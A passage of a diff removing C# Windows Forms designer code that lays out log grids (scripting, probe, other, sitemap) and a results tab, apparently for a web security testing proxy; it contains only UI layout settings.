- // - this.ScriptingLogGridColumnForFile.HeaderText = "FILE"; - this.ScriptingLogGridColumnForFile.Name = "ScriptingLogGridColumnForFile"; - this.ScriptingLogGridColumnForFile.ReadOnly = true; - // - // ScriptingLogGridColumnForSSL - // - this.ScriptingLogGridColumnForSSL.HeaderText = "SSL"; - this.ScriptingLogGridColumnForSSL.Name = "ScriptingLogGridColumnForSSL"; - this.ScriptingLogGridColumnForSSL.ReadOnly = true; - // - // ScriptingLogGridColumnForParameters - // - this.ScriptingLogGridColumnForParameters.HeaderText = "PARAMETERS"; - this.ScriptingLogGridColumnForParameters.Name = "ScriptingLogGridColumnForParameters"; - this.ScriptingLogGridColumnForParameters.ReadOnly = true; - // - // ScriptingLogGridColumnForCode - // - this.ScriptingLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScriptingLogGridColumnForCode.HeaderText = "CODE"; - this.ScriptingLogGridColumnForCode.Name = "ScriptingLogGridColumnForCode"; - this.ScriptingLogGridColumnForCode.ReadOnly = true; - this.ScriptingLogGridColumnForCode.Width = 60; - // - // ScriptingLogGridColumnForLength - // - this.ScriptingLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScriptingLogGridColumnForLength.HeaderText = "LENGTH"; - this.ScriptingLogGridColumnForLength.Name = "ScriptingLogGridColumnForLength"; - this.ScriptingLogGridColumnForLength.ReadOnly = true; - this.ScriptingLogGridColumnForLength.Width = 60; - // - // ScriptingLogGridColumnForMIME - // - this.ScriptingLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScriptingLogGridColumnForMIME.HeaderText = "MIME"; - this.ScriptingLogGridColumnForMIME.Name = "ScriptingLogGridColumnForMIME"; - this.ScriptingLogGridColumnForMIME.ReadOnly = true; - this.ScriptingLogGridColumnForMIME.Width = 70; - // - // ScriptingLogGridColumnForSetCookie - // - this.ScriptingLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; - this.ScriptingLogGridColumnForSetCookie.Name = "ScriptingLogGridColumnForSetCookie"; - this.ScriptingLogGridColumnForSetCookie.ReadOnly = true; - // - // ProbeLogTab - // - this.ProbeLogTab.Controls.Add(this.ProbeLogGrid); - this.ProbeLogTab.Location = new System.Drawing.Point(4, 22); - this.ProbeLogTab.Margin = new System.Windows.Forms.Padding(0); - this.ProbeLogTab.Name = "ProbeLogTab"; - this.ProbeLogTab.Size = new System.Drawing.Size(697, 154); - this.ProbeLogTab.TabIndex = 4; - this.ProbeLogTab.Text = " Probe Logs "; - this.ProbeLogTab.UseVisualStyleBackColor = true; - // - // ProbeLogGrid - // - this.ProbeLogGrid.AllowUserToAddRows = false; - this.ProbeLogGrid.AllowUserToDeleteRows = false; - this.ProbeLogGrid.AllowUserToOrderColumns = true; - this.ProbeLogGrid.AllowUserToResizeRows = false; - this.ProbeLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.ProbeLogGrid.BackgroundColor = System.Drawing.Color.White; - this.ProbeLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle14.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle14.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle14.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle14.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle14.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle14.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle14.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ProbeLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle14; - this.ProbeLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.ProbeLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ProbeLogGridColumnForID, - this.ProbeLogGridColumnForHostName, - this.ProbeLogGridColumnForMethod, - this.ProbeLogGridColumnForURL, - this.ProbeLogGridColumnForFile, - this.ProbeLogGridColumnForSSL, - this.ProbeLogGridColumnForParameters, - this.ProbeLogGridColumnForCode, - this.ProbeLogGridColumnForLength, - this.ProbeLogGridColumnForMIME, - this.ProbeLogGridColumnForSetCookie}); - this.ProbeLogGrid.ContextMenuStrip = this.LogMenu; - this.ProbeLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ProbeLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ProbeLogGrid.GridColor = System.Drawing.Color.White; - this.ProbeLogGrid.Location = new System.Drawing.Point(0, 0); - this.ProbeLogGrid.Margin = new System.Windows.Forms.Padding(0); - this.ProbeLogGrid.MultiSelect = false; - this.ProbeLogGrid.Name = "ProbeLogGrid"; - this.ProbeLogGrid.ReadOnly = true; - this.ProbeLogGrid.RowHeadersVisible = false; - this.ProbeLogGrid.RowHeadersWidth = 10; - this.ProbeLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ProbeLogGrid.Size = new System.Drawing.Size(697, 154); - this.ProbeLogGrid.TabIndex = 7; - this.ProbeLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ProbeLogGrid_CellClick); - // - // ProbeLogGridColumnForID - // - this.ProbeLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProbeLogGridColumnForID.HeaderText = "ID"; - this.ProbeLogGridColumnForID.MinimumWidth = 50; - this.ProbeLogGridColumnForID.Name = "ProbeLogGridColumnForID"; - this.ProbeLogGridColumnForID.ReadOnly = true; - this.ProbeLogGridColumnForID.Width = 50; - // - // ProbeLogGridColumnForHostName - // - this.ProbeLogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProbeLogGridColumnForHostName.HeaderText = "HOSTNAME"; - this.ProbeLogGridColumnForHostName.Name = "ProbeLogGridColumnForHostName"; - this.ProbeLogGridColumnForHostName.ReadOnly = true; - this.ProbeLogGridColumnForHostName.Width = 120; - // - // ProbeLogGridColumnForMethod - // - this.ProbeLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProbeLogGridColumnForMethod.HeaderText = "METHOD"; - this.ProbeLogGridColumnForMethod.Name = "ProbeLogGridColumnForMethod"; - this.ProbeLogGridColumnForMethod.ReadOnly = true; - this.ProbeLogGridColumnForMethod.Width = 60; - // - // ProbeLogGridColumnForURL - // - this.ProbeLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ProbeLogGridColumnForURL.HeaderText = "URL"; - this.ProbeLogGridColumnForURL.MinimumWidth = 150; - this.ProbeLogGridColumnForURL.Name = "ProbeLogGridColumnForURL"; - this.ProbeLogGridColumnForURL.ReadOnly = true; - // - // ProbeLogGridColumnForFile - // - this.ProbeLogGridColumnForFile.HeaderText = "FILE"; - this.ProbeLogGridColumnForFile.Name = "ProbeLogGridColumnForFile"; - this.ProbeLogGridColumnForFile.ReadOnly = true; - // - // ProbeLogGridColumnForSSL - // - this.ProbeLogGridColumnForSSL.HeaderText = "SSL"; - this.ProbeLogGridColumnForSSL.Name = "ProbeLogGridColumnForSSL"; - this.ProbeLogGridColumnForSSL.ReadOnly = true; - // - // ProbeLogGridColumnForParameters - // - this.ProbeLogGridColumnForParameters.HeaderText = "PARAMETERS"; - this.ProbeLogGridColumnForParameters.Name = "ProbeLogGridColumnForParameters"; - this.ProbeLogGridColumnForParameters.ReadOnly = true; - // - // ProbeLogGridColumnForCode - // - this.ProbeLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProbeLogGridColumnForCode.HeaderText = "CODE"; - this.ProbeLogGridColumnForCode.Name = "ProbeLogGridColumnForCode"; - this.ProbeLogGridColumnForCode.ReadOnly = true; - this.ProbeLogGridColumnForCode.Width = 60; - // - // ProbeLogGridColumnForLength - // - this.ProbeLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProbeLogGridColumnForLength.HeaderText = "LENGTH"; - this.ProbeLogGridColumnForLength.Name = "ProbeLogGridColumnForLength"; - this.ProbeLogGridColumnForLength.ReadOnly = true; - this.ProbeLogGridColumnForLength.Width = 60; - // - // ProbeLogGridColumnForMIME - // - this.ProbeLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProbeLogGridColumnForMIME.HeaderText = "MIME"; - this.ProbeLogGridColumnForMIME.Name = "ProbeLogGridColumnForMIME"; - this.ProbeLogGridColumnForMIME.ReadOnly = true; - this.ProbeLogGridColumnForMIME.Width = 70; - // - // ProbeLogGridColumnForSetCookie - // - this.ProbeLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; - this.ProbeLogGridColumnForSetCookie.Name = "ProbeLogGridColumnForSetCookie"; - this.ProbeLogGridColumnForSetCookie.ReadOnly = true; - // - // OtherLogTab - // - this.OtherLogTab.Controls.Add(this.OtherLogsTabBaseSplit); - this.OtherLogTab.Location = new System.Drawing.Point(4, 22); - this.OtherLogTab.Margin = new System.Windows.Forms.Padding(0); - this.OtherLogTab.Name = "OtherLogTab"; - this.OtherLogTab.Size = new System.Drawing.Size(697, 154); - this.OtherLogTab.TabIndex = 6; - this.OtherLogTab.Text = " Other Logs "; - this.OtherLogTab.UseVisualStyleBackColor = true; - // - // OtherLogsTabBaseSplit - // - this.OtherLogsTabBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.OtherLogsTabBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.OtherLogsTabBaseSplit.Location = new System.Drawing.Point(0, 0); - this.OtherLogsTabBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.OtherLogsTabBaseSplit.Name = "OtherLogsTabBaseSplit"; - // - // OtherLogsTabBaseSplit.Panel1 - // - this.OtherLogsTabBaseSplit.Panel1.Controls.Add(this.OtherLogSourceGrid); - // - // OtherLogsTabBaseSplit.Panel2 - // - this.OtherLogsTabBaseSplit.Panel2.Controls.Add(this.OtherLogGrid); - this.OtherLogsTabBaseSplit.Size = new System.Drawing.Size(697, 154); - this.OtherLogsTabBaseSplit.SplitterDistance = 142; - this.OtherLogsTabBaseSplit.SplitterWidth = 2; - this.OtherLogsTabBaseSplit.TabIndex = 0; - // - // OtherLogSourceGrid - // - this.OtherLogSourceGrid.AllowUserToAddRows = false; - this.OtherLogSourceGrid.AllowUserToDeleteRows = false; - this.OtherLogSourceGrid.AllowUserToOrderColumns = true; - this.OtherLogSourceGrid.AllowUserToResizeRows = false; - this.OtherLogSourceGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.OtherLogSourceGrid.BackgroundColor = System.Drawing.Color.White; - this.OtherLogSourceGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle15.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle15.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle15.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle15.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle15.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle15.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle15.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.OtherLogSourceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle15; - this.OtherLogSourceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.OtherLogSourceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.LogSource}); - this.OtherLogSourceGrid.ContextMenuStrip = this.LogMenu; - this.OtherLogSourceGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.OtherLogSourceGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.OtherLogSourceGrid.GridColor = System.Drawing.Color.White; - this.OtherLogSourceGrid.Location = new System.Drawing.Point(0, 0); - this.OtherLogSourceGrid.Margin = new System.Windows.Forms.Padding(0); - this.OtherLogSourceGrid.MultiSelect = false; - this.OtherLogSourceGrid.Name = "OtherLogSourceGrid"; - this.OtherLogSourceGrid.ReadOnly = true; - this.OtherLogSourceGrid.RowHeadersVisible = false; - this.OtherLogSourceGrid.RowHeadersWidth = 10; - this.OtherLogSourceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.OtherLogSourceGrid.Size = new System.Drawing.Size(142, 154); - this.OtherLogSourceGrid.TabIndex = 6; - this.OtherLogSourceGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.OtherLogSourceGrid_CellClick); - // - // LogSource - // - this.LogSource.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - dataGridViewCellStyle16.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); - this.LogSource.DefaultCellStyle = dataGridViewCellStyle16; - this.LogSource.HeaderText = "Select Log Source"; - this.LogSource.Name = "LogSource"; - this.LogSource.ReadOnly = true; - // - // OtherLogGrid - // - this.OtherLogGrid.AllowUserToAddRows = false; - this.OtherLogGrid.AllowUserToDeleteRows = false; - this.OtherLogGrid.AllowUserToOrderColumns = true; - this.OtherLogGrid.AllowUserToResizeRows = false; - this.OtherLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.OtherLogGrid.BackgroundColor = System.Drawing.Color.White; - this.OtherLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle17.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle17.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle17.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle17.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle17.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle17.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle17.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.OtherLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle17; - this.OtherLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.OtherLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.LogGridColumnForID, - this.LogGridColumnForHostName, - this.LogGridColumnForMethod, - this.LogGridColumnForURL, - this.LogGridColumnForFile, - this.LogGridColumnForSSL, - this.LogGridColumnForParameters, - this.LogGridColumnForCode, - this.LogGridColumnForLength, - this.LogGridColumnForMIME, - this.LogGridColumnForSetCookie}); - this.OtherLogGrid.ContextMenuStrip = this.LogMenu; - this.OtherLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.OtherLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.OtherLogGrid.GridColor = System.Drawing.Color.White; - this.OtherLogGrid.Location = new System.Drawing.Point(0, 0); - this.OtherLogGrid.Margin = new System.Windows.Forms.Padding(0); - this.OtherLogGrid.MultiSelect = false; - this.OtherLogGrid.Name = "OtherLogGrid"; - this.OtherLogGrid.ReadOnly = true; - this.OtherLogGrid.RowHeadersVisible = false; - this.OtherLogGrid.RowHeadersWidth = 10; - this.OtherLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.OtherLogGrid.Size = new System.Drawing.Size(553, 154); - this.OtherLogGrid.TabIndex = 6; - this.OtherLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.OtherLogGrid_CellClick); - // - // LogGridColumnForID - // - this.LogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.LogGridColumnForID.HeaderText = "ID"; - this.LogGridColumnForID.MinimumWidth = 50; - this.LogGridColumnForID.Name = "LogGridColumnForID"; - this.LogGridColumnForID.ReadOnly = true; - this.LogGridColumnForID.Width = 50; - // - // LogGridColumnForHostName - // - this.LogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.LogGridColumnForHostName.HeaderText = "HOSTNAME"; - this.LogGridColumnForHostName.Name = "LogGridColumnForHostName"; - this.LogGridColumnForHostName.ReadOnly = true; - this.LogGridColumnForHostName.Width = 120; - // - // LogGridColumnForMethod - // - this.LogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.LogGridColumnForMethod.HeaderText = "METHOD"; - this.LogGridColumnForMethod.Name = "LogGridColumnForMethod"; - this.LogGridColumnForMethod.ReadOnly = true; - this.LogGridColumnForMethod.Width = 60; - // - // LogGridColumnForURL - // - this.LogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.LogGridColumnForURL.HeaderText = "URL"; - this.LogGridColumnForURL.MinimumWidth = 150; - this.LogGridColumnForURL.Name = "LogGridColumnForURL"; - this.LogGridColumnForURL.ReadOnly = true; - // - // LogGridColumnForFile - // - this.LogGridColumnForFile.HeaderText = "FILE"; - this.LogGridColumnForFile.Name = "LogGridColumnForFile"; - this.LogGridColumnForFile.ReadOnly = true; - // - // LogGridColumnForSSL - // - this.LogGridColumnForSSL.HeaderText = "SSL"; - this.LogGridColumnForSSL.Name = "LogGridColumnForSSL"; - this.LogGridColumnForSSL.ReadOnly = true; - // - // LogGridColumnForParameters - // - this.LogGridColumnForParameters.HeaderText = "PARAMETERS"; - this.LogGridColumnForParameters.Name = "LogGridColumnForParameters"; - this.LogGridColumnForParameters.ReadOnly = true; - // - // LogGridColumnForCode - // - this.LogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.LogGridColumnForCode.HeaderText = "CODE"; - this.LogGridColumnForCode.Name = "LogGridColumnForCode"; - this.LogGridColumnForCode.ReadOnly = true; - this.LogGridColumnForCode.Width = 60; - // - // LogGridColumnForLength - // - this.LogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.LogGridColumnForLength.HeaderText = "LENGTH"; - this.LogGridColumnForLength.Name = "LogGridColumnForLength"; - this.LogGridColumnForLength.ReadOnly = true; - this.LogGridColumnForLength.Width = 60; - // - // LogGridColumnForMIME - // - this.LogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.LogGridColumnForMIME.HeaderText = "MIME"; - this.LogGridColumnForMIME.Name = "LogGridColumnForMIME"; - this.LogGridColumnForMIME.ReadOnly = true; - this.LogGridColumnForMIME.Width = 70; - // - // LogGridColumnForSetCookie - // - this.LogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; - this.LogGridColumnForSetCookie.Name = "LogGridColumnForSetCookie"; - this.LogGridColumnForSetCookie.ReadOnly = true; - // - // SiteMapLogTab - // - this.SiteMapLogTab.Controls.Add(this.SiteMapLogGrid); - this.SiteMapLogTab.Location = new System.Drawing.Point(4, 22); - this.SiteMapLogTab.Margin = new System.Windows.Forms.Padding(0); - this.SiteMapLogTab.Name = "SiteMapLogTab"; - this.SiteMapLogTab.Size = new System.Drawing.Size(697, 154); - this.SiteMapLogTab.TabIndex = 5; - this.SiteMapLogTab.Text = " Sitemap "; - this.SiteMapLogTab.UseVisualStyleBackColor = true; - // - // SiteMapLogGrid - // - this.SiteMapLogGrid.AllowUserToAddRows = false; - this.SiteMapLogGrid.AllowUserToDeleteRows = false; - this.SiteMapLogGrid.AllowUserToOrderColumns = true; - this.SiteMapLogGrid.AllowUserToResizeRows = false; - this.SiteMapLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.SiteMapLogGrid.BackgroundColor = System.Drawing.Color.White; - this.SiteMapLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle18.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle18.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle18.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle18.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle18.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle18.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle18.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.SiteMapLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle18; - this.SiteMapLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.SiteMapLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.SiteMapLogGridColumnForID, - this.SiteMapLogGridColumnForSource, - this.SiteMapLogGridColumnForHost, - this.SiteMapLogGridColumnForMethod, - this.SiteMapLogGridColumnForURL, - this.SiteMapLogGridColumnForFile, - this.SiteMapLogGridColumnForSSL, - this.SiteMapLogGridColumnForParameters, - this.SiteMapLogGridColumnForCode, - this.SiteMapLogGridColumnForLength, - this.SiteMapLogGridColumnForMIME, - this.SiteMapLogGridColumnForSetCookie}); - this.SiteMapLogGrid.ContextMenuStrip = this.LogMenu; - this.SiteMapLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.SiteMapLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.SiteMapLogGrid.GridColor = System.Drawing.Color.White; - this.SiteMapLogGrid.Location = new System.Drawing.Point(0, 0); - this.SiteMapLogGrid.Margin = new System.Windows.Forms.Padding(0); - this.SiteMapLogGrid.MultiSelect = false; - this.SiteMapLogGrid.Name = "SiteMapLogGrid"; - this.SiteMapLogGrid.ReadOnly = true; - this.SiteMapLogGrid.RowHeadersVisible = false; - this.SiteMapLogGrid.RowHeadersWidth = 10; - this.SiteMapLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.SiteMapLogGrid.Size = new System.Drawing.Size(697, 154); - this.SiteMapLogGrid.TabIndex = 7; - this.SiteMapLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.SiteMapLogGrid_CellClick); - // - // SiteMapLogGridColumnForID - // - this.SiteMapLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SiteMapLogGridColumnForID.HeaderText = "ID"; - this.SiteMapLogGridColumnForID.MinimumWidth = 50; - this.SiteMapLogGridColumnForID.Name = "SiteMapLogGridColumnForID"; - this.SiteMapLogGridColumnForID.ReadOnly = true; - this.SiteMapLogGridColumnForID.Width = 50; - // - // SiteMapLogGridColumnForSource - // - this.SiteMapLogGridColumnForSource.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SiteMapLogGridColumnForSource.HeaderText = "SOURCE"; - this.SiteMapLogGridColumnForSource.MinimumWidth = 60; - this.SiteMapLogGridColumnForSource.Name = "SiteMapLogGridColumnForSource"; - this.SiteMapLogGridColumnForSource.ReadOnly = true; - this.SiteMapLogGridColumnForSource.Width = 60; - // - // SiteMapLogGridColumnForHost - // - this.SiteMapLogGridColumnForHost.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SiteMapLogGridColumnForHost.HeaderText = "HOSTNAME"; - this.SiteMapLogGridColumnForHost.Name = "SiteMapLogGridColumnForHost"; - this.SiteMapLogGridColumnForHost.ReadOnly = true; - this.SiteMapLogGridColumnForHost.Width = 120; - // - // SiteMapLogGridColumnForMethod - // - this.SiteMapLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SiteMapLogGridColumnForMethod.HeaderText = "METHOD"; - this.SiteMapLogGridColumnForMethod.Name = "SiteMapLogGridColumnForMethod"; - this.SiteMapLogGridColumnForMethod.ReadOnly = true; - this.SiteMapLogGridColumnForMethod.Width = 60; - // - // SiteMapLogGridColumnForURL - // - this.SiteMapLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.SiteMapLogGridColumnForURL.HeaderText = "URL"; - this.SiteMapLogGridColumnForURL.MinimumWidth = 150; - this.SiteMapLogGridColumnForURL.Name = "SiteMapLogGridColumnForURL"; - this.SiteMapLogGridColumnForURL.ReadOnly = true; - // - // SiteMapLogGridColumnForFile - // - this.SiteMapLogGridColumnForFile.HeaderText = "FILE"; - this.SiteMapLogGridColumnForFile.Name = "SiteMapLogGridColumnForFile"; - this.SiteMapLogGridColumnForFile.ReadOnly = true; - // - // SiteMapLogGridColumnForSSL - // - this.SiteMapLogGridColumnForSSL.HeaderText = "SSL"; - this.SiteMapLogGridColumnForSSL.Name = "SiteMapLogGridColumnForSSL"; - this.SiteMapLogGridColumnForSSL.ReadOnly = true; - // - // SiteMapLogGridColumnForParameters - // - this.SiteMapLogGridColumnForParameters.HeaderText = "PARAMETERS"; - this.SiteMapLogGridColumnForParameters.Name = "SiteMapLogGridColumnForParameters"; - this.SiteMapLogGridColumnForParameters.ReadOnly = true; - // - // SiteMapLogGridColumnForCode - // - this.SiteMapLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SiteMapLogGridColumnForCode.HeaderText = "CODE"; - this.SiteMapLogGridColumnForCode.Name = "SiteMapLogGridColumnForCode"; - this.SiteMapLogGridColumnForCode.ReadOnly = true; - this.SiteMapLogGridColumnForCode.Width = 60; - // - // SiteMapLogGridColumnForLength - // - this.SiteMapLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SiteMapLogGridColumnForLength.HeaderText = "LENGTH"; - this.SiteMapLogGridColumnForLength.Name = "SiteMapLogGridColumnForLength"; - this.SiteMapLogGridColumnForLength.ReadOnly = true; - this.SiteMapLogGridColumnForLength.Width = 60; - // - // SiteMapLogGridColumnForMIME - // - this.SiteMapLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SiteMapLogGridColumnForMIME.HeaderText = "MIME"; - this.SiteMapLogGridColumnForMIME.Name = "SiteMapLogGridColumnForMIME"; - this.SiteMapLogGridColumnForMIME.ReadOnly = true; - this.SiteMapLogGridColumnForMIME.Width = 70; - // - // SiteMapLogGridColumnForSetCookie - // - this.SiteMapLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; - this.SiteMapLogGridColumnForSetCookie.Name = "SiteMapLogGridColumnForSetCookie"; - this.SiteMapLogGridColumnForSetCookie.ReadOnly = true; - // - // mt_results - // - this.mt_results.Controls.Add(this.ResultsTabMainSplit); - this.mt_results.Location = new System.Drawing.Point(4, 22); - this.mt_results.Margin = new System.Windows.Forms.Padding(0); - this.mt_results.Name = "mt_results"; - this.mt_results.Size = new System.Drawing.Size(705, 511); - this.mt_results.TabIndex = 6; - this.mt_results.Text = " Results "; - this.mt_results.UseVisualStyleBackColor = true; - // - // ResultsTabMainSplit - // - this.ResultsTabMainSplit.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.ResultsTabMainSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsTabMainSplit.Location = new System.Drawing.Point(0, 0); - this.ResultsTabMainSplit.Margin = new System.Windows.Forms.Padding(0); - this.ResultsTabMainSplit.Name = "ResultsTabMainSplit"; - this.ResultsTabMainSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ResultsTabMainSplit.Panel1 - // - this.ResultsTabMainSplit.Panel1.Controls.Add(this.ResultsDisplayRTB); - // - // ResultsTabMainSplit.Panel2 - // - this.ResultsTabMainSplit.Panel2.Controls.Add(this.ResultsTriggersMainSplit); - this.ResultsTabMainSplit.Size = new System.Drawing.Size(705, 511); - this.ResultsTabMainSplit.SplitterDistance = 269; - this.ResultsTabMainSplit.TabIndex = 0; - // - // ResultsDisplayRTB - // - this.ResultsDisplayRTB.BackColor = System.Drawing.SystemColors.Window; - this.ResultsDisplayRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ResultsDisplayRTB.Cursor = System.Windows.Forms.Cursors.IBeam; - this.ResultsDisplayRTB.DetectUrls = false; - this.ResultsDisplayRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsDisplayRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ResultsDisplayRTB.Location = new System.Drawing.Point(0, 0); - this.ResultsDisplayRTB.Name = "ResultsDisplayRTB"; - 